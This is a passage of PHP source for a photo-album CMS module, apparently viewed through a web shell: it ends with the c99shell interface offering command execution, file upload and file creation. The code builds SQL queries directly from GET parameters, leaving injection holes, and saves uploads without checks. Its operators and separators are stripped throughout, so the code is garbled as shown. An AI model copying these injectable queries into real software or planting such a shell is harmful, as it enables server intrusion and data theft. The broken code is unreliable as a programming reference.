$_GET['album_id'] != 0)
            {
                if (
$_GET['album_id'] != 1)
                {
                    if (
$order == "comments")
                        
$sql "SELECT p.*, a.*, COUNT(c.comment_id) as count FROM AMCMS_photochapter_photos as p LEFT JOIN AMCMS_photochapter_albums as a ON p.photo_album_id = a.album_id LEFT JOIN AMCMS_comments as c ON c.comment_page = p.photo_id WHERE photo_album_id = '{$_GET['album_id']}' AND photo_status = '1' AND c.comment_module = 'Photochapter' AND photo_description LIKE '%{$_GET['text']}%' {$user_where} GROUP BY p.photo_id ORDER BY count DESC";
                    else
                        
$sql "SELECT AMCMS_photochapter_photos.*, AMCMS_photochapter_albums.* FROM AMCMS_photochapter_photos, AMCMS_photochapter_albums WHERE photo_album_id = album_id AND photo_album_id = '{$_GET['album_id']}' AND photo_status = '1' AND photo_description LIKE '%{$_GET['text']}%' {$user_where} ORDER BY {$orderby}";
                    
$rows = array();
                    
$res mysql_query($sql);
                    
$countRow mysql_num_rows($res);    
                    
$maxCount 100;
                    if (
$_GET['pageNum'] == 'all')
                       
$maxCount 100000;
                    
$page_navigator = new AMPageNavigator($countRow$_GET['pageNum'], $maxCount);    
                    
$limit $page_navigator->GetLimitStatement();
                    
$res mysql_query($sql.{$limit}");

                    while(
$row mysql_fetch_assoc($res))
                    {
                        
$rows [] = $row;
                    }
//                    $rows  = $this->PhotosTable->GetRows($orderby, array("photo_album_id = '{$_GET['album_id']}'", "photo_status = '1'"));
                
}
                else
                {
                    
/*$sql = "SELECT AMCMS_photochapter_photos.*, AMCMS_photochapter_albums.* FROM AMCMS_photochapter_photos, AMCMS_photochapter_albums WHERE photo_album_id = album_id AND photo_status = '0' ORDER BY {$orderby}";
                    $rows = array();
                    $res = mysql_query($sql);
                    while($row = mysql_fetch_assoc($res))
                    {
                        $rows [] = $row;
                    }
                    $rows  = $this->PhotosTable->GetRows($orderby, "photo_status = '0'");*/
                
}
            }
            else
            {                
//                $rows  = $this->PhotosTable->GetRows($orderby);            
                
if ($order == "comments")
                    
$sql "SELECT p.*, a.*, COUNT(c.comment_id) as count FROM AMCMS_photochapter_photos as p LEFT JOIN AMCMS_photochapter_albums as a ON p.photo_album_id = a.album_id LEFT JOIN AMCMS_comments as c ON c.comment_page = p.photo_id WHERE photo_status = '1' AND c.comment_module = 'Photochapter' AND photo_description LIKE '%{$_GET['text']}%' {$user_where}  GROUP BY p.photo_id ORDER BY count DESC";
                else
                    
$sql "SELECT AMCMS_photochapter_photos.*, AMCMS_photochapter_albums.* FROM AMCMS_photochapter_photos, AMCMS_photochapter_albums WHERE photo_album_id = album_id AND photo_description LIKE '%{$_GET['text']}%' AND photo_status = '1' {$user_where} ORDER BY {$orderby}";
                
$rows = array();

                
$res mysql_query($sql);
                
$countRow mysql_num_rows($res);    
                
$maxCount 100;
                    if (
$_GET['pageNum'] == 'all')
                       
$maxCount 100000;
                
$page_navigator = new AMPageNavigator($countRow$_GET['pageNum'], $maxCount);    
                
$limit $page_navigator->GetLimitStatement();
                
$res mysql_query($sql.{$limit}");

                while(
$row mysql_fetch_assoc($res))
                {
                    
$rows [] = $row;
                }                    
            }
            if (
$_GET['album_id'] == 17)
            {
                
$leader Photochapter::GetLeader1(17);
                
$smarty->assign("leader"$leader);
                if (isset(
$_GET['results']))
                {
                    
                    
$r Photochapter::GetRating1(17);
                    
$html "<table>";
                    for(
$i 0$i count($r); $i++)
                    {
                        
                        
$html .= "<tr>";
                        
$html .= "<td align=\"center\"><a class=\"amviewer\" href=\"/photochapter/17/#photo{$r[$i]['photo_id']}\" val=\"{$r[$i]['photo_id']}\"><img src=\"/data/photochapter/{$r[$i]['photo_small']}\" /></a></td>";
                        
$html .= "<td><a href=\"/id{$r[$i]['user_id']}\" target=\"_blank\">{$r[$i]['user_name']} {$r[$i]['user_surname']}</a> - </td>";
                        
$html .= "<td>{$r[$i]['count']}</td>";
                        
$html .= "</tr>";
                    }
                    
$html .= "</table>";    
                    
$html "<div class=\"konkurs-rating\">";
                    for(
$i 0$i count($r); $i++)
                    {
                        
                        
$html .= "<span class=\"item\">";
                        
$html .= "<span class=\"photo\"><a class=\"amviewer\" href=\"/photochapter/17/#photo{$r[$i]['photo_id']}\" val=\"{$r[$i]['photo_id']}\"><img src=\"/data/photochapter/{$r[$i]['photo_small']}\" /></a></span><br />";
                        
$html .= "<span class=\"name\"><a href=\"/id{$r[$i]['user_id']}\" target=\"_blank\">{$r[$i]['user_name']} {$r[$i]['user_surname']}</a></span><br />";
                        
$html .= "<span class=\"count\">{$r[$i]['count']} ".
                        
AssumeNumber($r[$i]['count'], $ULANG['AMCMS_photochapter']['votes'])
                        .
"</span>";                        
                        
$html .= "</span>";
                    }
                    
$html .= "</div><br /><br />";    
                    
$ids = array();
                    for(
$i 0$i count($r); $i++)
                        
$arr[] = $r[$i]['photo_id'];
                    
$ids_str .= "[".implode(",",$arr)."]";
                    
$html.= "<script type=\"text/javascript\">AMViewer.PhotosArray['photos']['ids'] = {$ids_str}; </script>";
                    
$smarty->assign("rating"$html);
                }
            }
            
$navigator $page_navigator->GetNavigator();
            
$smarty->assign("navigator"$navigator);            
            if (
$_GET['album_id'] == 0)
                
$album = array("album_title_rus" => $ULANG['AMCMS_photochapter']['AllPhotosAlbum'],
                                
"album_title_ukr" => $ULANG['AMCMS_photochapter']['AllPhotosAlbum'], 
                                
"album_id" => 0);
            
$smarty->assign("countRows"max(array(count($rows),$countRow)));
            
$smarty->assign("rows"$rows);                                
            
$smarty->assign("album"$album);
            
$smarty->assign("order"$order);
            if (isset(
$_GET['results']))
                
$result['Title'] = $album["album_title_{$ulang}"]." - ".$ULANG['AMCMS_photochapter']['CurrentResults'];
            else if (isset(
$_GET['user_id']))
            {
                
$user Users::GetUserById($_GET['user_id']);
                
$result['Title'] = $album["album_title_{$ulang}"]." ({$user['user_name']} {$user['user_surname']})";
            }
            else
                
$result['Title'] = $album["album_title_{$ulang}"];
            if (!isset(
$_GET['results']))
                
$result['Content'] = $smarty->fetch("album.tpl");
            else
            {
                
$result['Content'] = '<div style="text-align:center;padding-top:20px;"><img style="width: 80%;" src="/data/files/Other/miss.jpg" alt="" /></div>'.$html.$smarty->fetch("amviewer.tpl");
            }
            
$navigator = new AMNavigator();
            
$navigator->AddLink($ULANG['AMCMS_photochapter']['Photochapter'], "/photochapter");
            
$navigator->AddLink($album["album_title_{$ulang}"], "/photochapter/{$_GET['album_id']}");
            if (isset(
$_GET['results']))
                
$navigator->AddLink($ULANG['AMCMS_photochapter']['CurrentResults'], "");
            
$result['GlobalParams']['Navigator'] = $navigator->Fetch();
            
$result['GlobalParams']['PageTitle'] = $navigator->GetTitleForPage();
            
$result['Module'] = $this->ClassName;
            
$result['GlobalParams']['Description'] = $album['album_description_'.$ulang];
            
$result['Print'] = true;    
            return 
$result;                    
        }

    }    
    static function 
GetRating1($id)
    {
        
$sql "SELECT COUNT(DISTINCT(comment_user_id)) as count, user_name, user_surname, user_id, photo_id, photo_small FROM AMCMS_comments, AMCMS_photochapter_photos, AMCMS_users WHERE comment_page = photo_id AND photo_album_id = '17' AND photo_user_id = user_id AND comment_status = '1' GROUP BY comment_page ORDER BY count DESC";
        
$res mysql_query($sql);
        
$rows = array();
        while(
$row mysql_fetch_assoc($res))
            
$rows[] = $row;
        return 
$rows;
        
    }

    static function 
GetLeader1($id)
    {
        
$sql "SELECT COUNT(DISTINCT(comment_user_id)) as count, user_name, user_surname, user_id FROM AMCMS_comments, AMCMS_photochapter_photos, AMCMS_users WHERE comment_page = photo_id AND photo_album_id = '17' AND photo_user_id = user_id AND comment_status = '1' GROUP BY comment_page ORDER BY count DESC LIMIT 0,1";
        
$res mysql_query($sql);
        
$row mysql_fetch_assoc($res);
        return 
$row;
        
    }
    
    static function 
GetRatingOfPhoto1($id)
    {
        
$sql "SELECT COUNT(DISTINCT(comment_user_id)) as count FROM AMCMS_comments, AMCMS_photochapter_photos WHERE comment_page = '{$id}' AND photo_album_id = '17' AND comment_status = '1'";
        
$res mysql_query($sql);
        
$row mysql_fetch_assoc($res);
        return 
$row['count'];
        
    }
    
    function 
AdminAsynch()
    {
        if (isset(
$_REQUEST['mod']) && ($_REQUEST['mod'] == $this->ClassName))
        {                  
            if (isset(
$_REQUEST['photo']) && isset($_REQUEST['add']) && !empty($_FILES))
            {
                
$_POST['photo_date_of_creation'] = GetCurrentDateAndTime();
                
$_POST['photo_date_of_edition'] = GetCurrentDateAndTime();
                
$extension "jpg";
                
$sourceFile $_FILES['Filedata']['tmp_name'];
                
$filename uniqid("");
                
$destantionFileI $this->FilesDirectory."i".$filename.".".$extension;
                
$destantionFileB $this->FilesDirectory."b".$filename.".".$extension;
                
$destantionFileS $this->FilesDirectory."s".$filename.".".$extension;
                
$sizeSmall explode("x"GetParam("PhotochapterSmallPhotoSize"));
                
$sizeBig   explode("x""200x150");                        
                
ImageResize($sourceFile$destantionFileI80800xFFFFFF90);
                
ImageResize($sourceFile$destantionFileS$sizeSmall[0], $sizeSmall[1], 0xFFFFFF75);
                
ImageResize($sourceFile$destantionFileB$sizeBig[0], $sizeBig[1], 0xFFFFFF75);                                    
                
//$thumb = PhpThumbFactory::create($sourceFile);
                //$thumb->adaptiveResize(240, 180);
                //$thumb->save($destantionFileB);
                
$_POST['photo_filename'] = $filename;
                
$_POST['photo_album_id'] = $_POST['album_id'];
                
$_POST['photo_status'] = 1;
                
$id $this->PhotosTable->Insert($_POST);
                
$this->UpdateAlbumsInfo();
                echo 
'1';                    
                die;                    
            }    
        }        
        if (
$_POST['oper'] == 'cover')
        {            
            if ((
$_SESSION['user']['user_access']['photochapter'] != 'Y') and
                (
$_SESSION['user']['user_access']['admin'] != 'Y'))
                    return;        
            
$photo $this->PhotosTable->GetRowById($_POST['id']);
            
$row['album_cover_filename'] = $photo['photo_filename'];
            
$this->AlbumTable->Update($row$photo['photo_album_id']);
            
$res["status"] = "ok";
            echo 
json_encode($res);
            die;
        }
        
$this->AlbumTable->Run($_POST);
        
$this->PhotosTable->Run($_POST);
        
$this->UpdateAlbumsInfo();
    }
    function 
Admin()
    {
            global 
$ALANG$alang;
            
$smarty GetAdminSmarty($this->ClassName);
            if (isset(
$_GET['album_id']) && isset($_GET['SetAlbumForHeader']))
            {
                
SetParam("HeaderPhotoAlbum"$_GET['album_id']);
            }
            if (isset(
$_GET['album']) && isset($_GET['list']))
            {
                
$rows $this->AlbumTable->GetRows("album_position DESC");
                
$smarty->assign("rows"$rows);
                
$html $smarty->Fetch('photoalbumblock.tpl');
                
$result['Title']     = $ALANG['PhotochapterAlbumList'];
                
$result['Content']  = $html;
                return 
$result;
            }            
            if (isset(
$_GET['edit']) && isset($_GET['album_id']))
            {
                if (isset(
$_POST['edit']))
                {
                    
$_POST['album_date_of_edition']  = GetCurrentDateAndTime();
                    
$id $_GET['album_id'];
                    
$this->AlbumTable->Update($_POST$id);
                    
header("Location: ?mod=".$this->ClassName."&PhotoalbumsList");
                    die;
                }
                
$id $_GET['album_id'];
                
$row $this->AlbumTable->GetRowById($id);
                foreach(
$row as $key => $value)
                    
$smarty->assign($key$value);
                  
$smarty->assign('oper''edit');
                  
$result['Title']     = $ALANG['PhotoalbumEdition'];
                
$result['Content']     = $smarty->fetch('photoalbum.tpl');
                  return 
$result;                    
            }
            if (isset(
$_GET['photo']) && isset($_GET['packet']))
            {                
                  
$albums $this->AlbumTable->GetRows("album_position DESC");
                  
$photo_album_values  = array();
                  
$photo_album_captions = array();
                  foreach(
$albums as $key => $value)
                  {
                      
$photo_album_values[] = $value['album_id'];
                      
$photo_album_captions[] = $value['album_name_'.GetParam("DefaultLanguage")];
                  }
                  
$smarty->assign('sid'session_id());                
                  
$smarty->assign('photo_album_values'$photo_album_values);
                  
$smarty->assign('photo_album_captions'$photo_album_captions);
                
$smarty->assign('photo_album_id'$_GET['album_id']);                                 
                
$result['Title']     = $ALANG['PhotochapterPhotoPacket'];
                
$result['Content']  = $smarty->Fetch('addmanyphotos.tpl');
                return 
$result;            
            }
            
            if (isset(
$_GET['photo']) && isset($_GET['order']))
            {
                
$albums $this->AlbumTable->GetRows("album_position DESC");                
                if (!isset(
$_REQUEST['album_id']))
                    
$album_id $albums[0]['album_id'];
                else
                    
$album_id $_REQUEST['album_id'];
                
$photos $this->PhotosTable->GetRows("photo_position DESC""photo_album_id='{$album_id}'");
                
$smarty->assign('albums'$albums);
                
$smarty->assign('photos'$photos);
                
$result['Title']     = $ALANG['PhotochapterPhotoOrder'];
                
$result['Content']  = $html.$smarty->Fetch('photosorder.tpl');;
                return 
$result;
            }
            if (isset(
$_GET['photo']) && isset($_GET['list']))
            {
                
$albums $this->AlbumTable->GetRows("album_position DESC");
                if (!isset(
$_REQUEST['album_id']))
                    
$album_id $albums[0]['album_id'];
                else
                    
$album_id $_REQUEST['album_id'];
                
$photos $this->PhotosTable->GetRows("photo_position DESC""photo_album_id='{$album_id}'");
                
$smarty->assign('albums'$albums);
                
$smarty->assign('photos'$photos);
                if (isset(
$album_id))
                {
                    
$html $smarty->Fetch('photoblock.tpl');
                }
                
$result['Title']     = $ALANG['PhotochapterPhotoList'];
                
$result['Content']     = $html;
                return 
$result;
            }            
    
            if (isset(
$_GET['album']) && isset($_GET['add']))
            {
                if (isset(
$_POST['add']))
                {
                    
$_POST['album_date_of_creation'] = GetCurrentDateAndTime();
                    
$_POST['album_date_of_edition']  = GetCurrentDateAndTime();
                    
$id $this->AlbumTable->Insert($_POST);
                    
$this->UpdateAlbumsInfo();
                    
header("Location: ?mod=".$this->ClassName."&album&list");
                }
                  foreach(
$_POST as $key => $value)
                      
$smarty->assign($key$value);
                  
$smarty->assign('oper''add');
                  
$result['Title']     = $ALANG['PhotochapterAlbumAdd'];
                  
$result['Content']     = $smarty->fetch('photoalbum.tpl');
                return 
$result;
            }
            if (isset(
$_GET['photo']) && isset($_GET['add']))
            {                
                if (isset(
$_POST['add']))
                {
                    
$_POST['photo_date_of_creation'] = GetCurrentDateAndTime();
                    
$extension "jpg";
                    
$sourceFile $_FILES['photo_filename']['tmp_name'];
                    
$filename uniqid("");
                    
$destantionFileI $this->FilesDirectory."i".$filename.".".$extension;
                    
$destantionFileB $this->FilesDirectory."b".$filename.".".$extension;
                    
$destantionFileS $this->FilesDirectory."s".$filename.".".$extension;
                    
$sizeSmall explode("x"GetParam("PhotochapterSmallPhotoSize"));
                    
$sizeBig   explode("x"GetParam("PhotochapterBigPhotoSize"));                        
                    
ImageResize($sourceFile$destantionFileI80800xFFFFFF90);
                    
ImageResize($sourceFile$destantionFileS$sizeSmall[0], $sizeSmall[1], 0xFFFFFF75);
                    
ImageResize($sourceFile$destantionFileB$sizeBig[0], $sizeBig[1], 0xFFFFFF75);                                
                    
//$thumb = PhpThumbFactory::create($sourceFile);
                    //$thumb->adaptiveResize(267, 200);
                    //$thumb->save($destantionFileB);
                    
$_POST['photo_filename'] = $filename;
                    
$_POST['photo_status'] = 1;
                    
$id $this->PhotosTable->Insert($_POST);
                    
$this->UpdateAlbumsInfo();
                    
header("Location: ?mod=".$this->ClassName."&photo&add&album_id=".$_POST['photo_album_id'].'&ok');
                }
                  foreach(
$_POST as $key => $value)
                      
$smarty->assign($key$value);
                  
$smarty->assign('oper''add');
                  
$albums $this->AlbumTable->GetRows("album_position DESC");
                  
$photo_album_values  = array();
                  
$photo_album_captions = array();
                  foreach(
$albums as $key => $value)
                  {
                      
$photo_album_values[] = $value['album_id'];
                      
$photo_album_captions[] = $value['album_name_'.GetParam("DefaultLanguage")];
                  }
                  
$smarty->assign('photo_album_values'$photo_album_values);
                  
$smarty->assign('photo_album_captions'$photo_album_captions);
                
$smarty->assign('photo_album_id'$_GET['album_id']);                 
                  if (isset(
$_GET['ok']))
                    
$smarty->assign("message"$ALANG['PictureAddOK']);                      
                  if (isset(
$_GET['fail']))
                    
$smarty->assign("message"$ALANG['PictureAddFail']);                      
                  
$result['Title']     = $ALANG['PhotochapterPhotoAdd'];
                  
$result['Content']     = $smarty->fetch('photo.tpl');
                return 
$result;
            }
            if (isset(
$_GET['edit']) && isset($_GET['photo_id']))
            {
                if (isset(
$_POST['edit']))
                {
                    
$row $this->PhotosTable->GetRowById($_GET['photo_id']);
                    if (
strlen($_FILES['photo_filename']['tmp_name']) > 0)
                    {
                        @
unlink($this->FilesDirectory."i".$row['photo_filename'].".jpg");
                        @
unlink($this->FilesDirectory."b".$row['photo_filename'].".jpg");
                        @
unlink($this->FilesDirectory."s".$row['photo_filename'].".jpg");
                        
$extension "jpg";
                        
$sourceFile $_FILES['photo_filename']['tmp_name'];
                        
$filename uniqid("");
                        
$destantionFileI $this->FilesDirectory."i".$filename.".".$extension;
                        
$destantionFileB $this->FilesDirectory."b".$filename.".".$extension;
                        
$destantionFileS $this->FilesDirectory."s".$filename.".".$extension;
                        
$sizeSmall explode("x"GetParam("PhotochapterSmallPhotoSize"));
                        
$sizeBig   explode("x"GetParam("PhotochapterBigPhotoSize"));                        
                        
ImageResize($sourceFile$destantionFileI80800xFFFFFF90);
                        
ImageResize($sourceFile$destantionFileS$sizeSmall[0], $sizeSmall[1], 0xFFFFFF75);
                        
ImageResize($sourceFile$destantionFileB$sizeBig[0], $sizeBig[1], 0xFFFFFF75);                                    
                        
$_POST['photo_filename'] = $filename;
                    }
                    
$this->PhotosTable->Update($_POST$_GET['photo_id']);
                    
$this->UpdateAlbumsInfo();
                    
header("Location: admin.php?mod=Photochapter&photo&list&album_id=".$row['photo_album_id']);
                }
                
$row $this->PhotosTable->GetRowById($_GET['photo_id']);
                
$albums $this->AlbumTable->GetRows("album_position DESC");
                foreach(
$row as $key => $value)
                    
$smarty->assign($key$value);
                  
$smarty->assign('oper''edit');
                  
$photo_album_values  = array();
                  
$photo_album_captions = array();
                  foreach(
$albums as $key => $value)
                  {
                      
$photo_album_values[] = $value['album_id'];
                      
$photo_album_captions[] = $value['album_name_'.$alang];
                  }
                  
$smarty->assign('photo_album_values'$photo_album_values);
                  
$smarty->assign('photo_album_captions'$photo_album_captions);
                  
$result['Title']     = $ALANG['PhotochapterPhotoEdit'];
                
$result['Content']     = $smarty->fetch('photo.tpl');
                  return 
$result;                    
            }
    }    
    function 
UpdateAlbumsInfo()
    {
        
$res1 mysql_query("SELECT album_id FROM AMCMS_photochapter_albums");
        while (
$row1 mysql_fetch_array($res1))
        {
            
$res2 mysql_query("SELECT COUNT(*) FROM AMCMS_photochapter_photos WHERE photo_album_id = '{$row1['album_id']}'");
            
$row2 mysql_fetch_array($res2);
            
mysql_query("UPDATE AMCMS_photochapter_albums SET album_count_of_photos = '{$row2['COUNT(*)']}' WHERE album_id = '{$row1['album_id']}'");
        }
    }    
    function 
Panel()
    {
        global 
$ULANG$ulang;
        
$count 10;
        if (
$_SESSION['user']['user_id'] == )
          
$count 25;
        
$res mysql_query("SELECT * FROM AMCMS_photochapter_photos WHERE photo_status = '1' ORDER BY photo_id DESC LIMIT 0,{$count}");
        if (
mysql_num_rows($res) == 0)
          return;
        
$rows = array();
        while( (
$row mysql_fetch_array($res)) != 0)
        {
            
$rows[] = $row;
        }
        
$smarty GetUserSmarty($this->ClassName);
        
$smarty->assign('rows'$rows);
        
$smarty->assign('mod'$this->ClassName);
        
$result[$this->ClassName] = array( 'Title' => $ULANG['AMCMS_photochapter']['LatestPhotos'],
                                 
'Content' => $smarty->fetch("photos-panel.tpl"),
                                 
'Module' => $this->ClassName);
        return 
$result;
    }
    


$Modules [] = new Photochapter();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0287 ]--